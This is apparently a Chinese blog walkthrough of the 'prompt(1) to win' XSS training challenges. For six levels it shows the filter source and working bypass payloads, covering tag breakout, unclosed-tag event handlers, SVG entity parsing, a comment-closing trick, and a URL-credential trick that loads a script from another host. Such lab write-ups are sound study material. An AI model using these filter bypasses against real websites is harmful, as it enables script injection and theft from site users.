prompt(1) to win WP

题目链接

prompt(1) to win 是一个在线练习XSS注入的好地方,每道题都可以清楚地看到服务端源码,根据源码构造payload,注入后代码实时展示,很适合新手学习XSS注入

挑战规则

只有无需用户交互的XSS向量,才会被认定为有效的向量
当用户输入有效且能执行prompt(1)的向量时,会自动提交用户的答案。并显示YOU WON字样

0x00

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

什么过滤都没有,闭合前面的 input 标签再构造 script 标签,payload如下
"><script>prompt(1)</script><"

0x01

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

?:表示匹配前面的子表达式/零次或一次
[^>]:为负值字符集合,匹配未包含 > 的任意字符
+:表示匹配前面的子表达式一次或多次

利用正则表达式过滤了成对出现的尖括号,但浏览器会自动补全右尖括号,所以只要不输入右尖括号,并在最后使用//或空格就能绕过过滤

提供几种payload:
<body/onload=prompt(1)//
<svg/onload=prompt(1)//
<img src=# onerror="prompt(1)"
<img src=1 onerror=prompt(1)//
<img src=1 onerror=prompt(1)(注意最后有空格)

0x02

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

过滤了(=,想使用编码,即&#x28;(十六进制)或者&#40;(十进制)或者&lpar;(html实体编码),但会被还原成(,利用 SVG 标签,该标签会将 XML 实体(转义序列)提前解析再加入标签,从而绕过过滤。

页面遇到 javascript 代码时阻塞 html 的解析,先执行 js 代码(也就是上面的 escape function)。此时输入中的 xml 实体未被解析,从而绕过过滤,并将输入 return 到 html 文档中,继续解析 html。
当遇到 svg 标签,先将其标签的内容当成 xml 解析,此时解析输入中的实体。
当 html 再次进行解析时,会把已被解析的实体当成 html 代码执行。

payload:
<svg><script>prompt&#x28;1)</script>

也可以利用 JS 中的 eval 函数

1
2
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>

0x03

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

->替换成了_,只要想办法闭合注释即可,在2012年的时候,html可以–>或–!>闭合注释

payload:
--!><svg/onload=prompt(1)
--!><script>prompt(1)</script>

0x04

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

使用了 RegExp 对象的 test 方法过滤输入。浏览器支持这样的url:http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。可以利用decodeURIComponent()这个函数可对encodeURIComponent()函数编码的URI进行解码的特性,将 %2f 解码成为 /
URL结构
payload 为//prompt.ml%2f@localhost/xss.js,让 browser 把prompt.ml%2f当作身份验证,然后访问localhost/xss.js
如果有自己的服务器可以将localhost改为服务器IP
xss.js内容:<script>prompt(1)</script>

0x05

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

过滤了>onxxx=focus,将其替换为_
|:或操作,字符具有高于替换运算符的优先级,使得”m|food”匹配”m”或”food”。若要匹配”mood”或”food”,请使用括号创建子表达式,从而产生”(m|f)ood”
.:匹配除换行符(\n、\r)之外的任何单个字符
?:该字符紧跟在任何一个其他限制符后面时,表示懒惰(非贪婪)匹配

可以将input标签的type类型覆盖,比如说覆盖成image类型,然后可以利用onerror=时,使用换行绕过即可(在 html 中,属性描述不在同一行仍然可以生效)

payload:

1
2
" type=image src=# onerror
="prompt(1)

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 挑战规则
  2. 2. 0x00
  3. 3. 0x01
  4. 4. 0x02
  5. 5. 0x03
  6. 6. 0x04
  7. 7. 0x05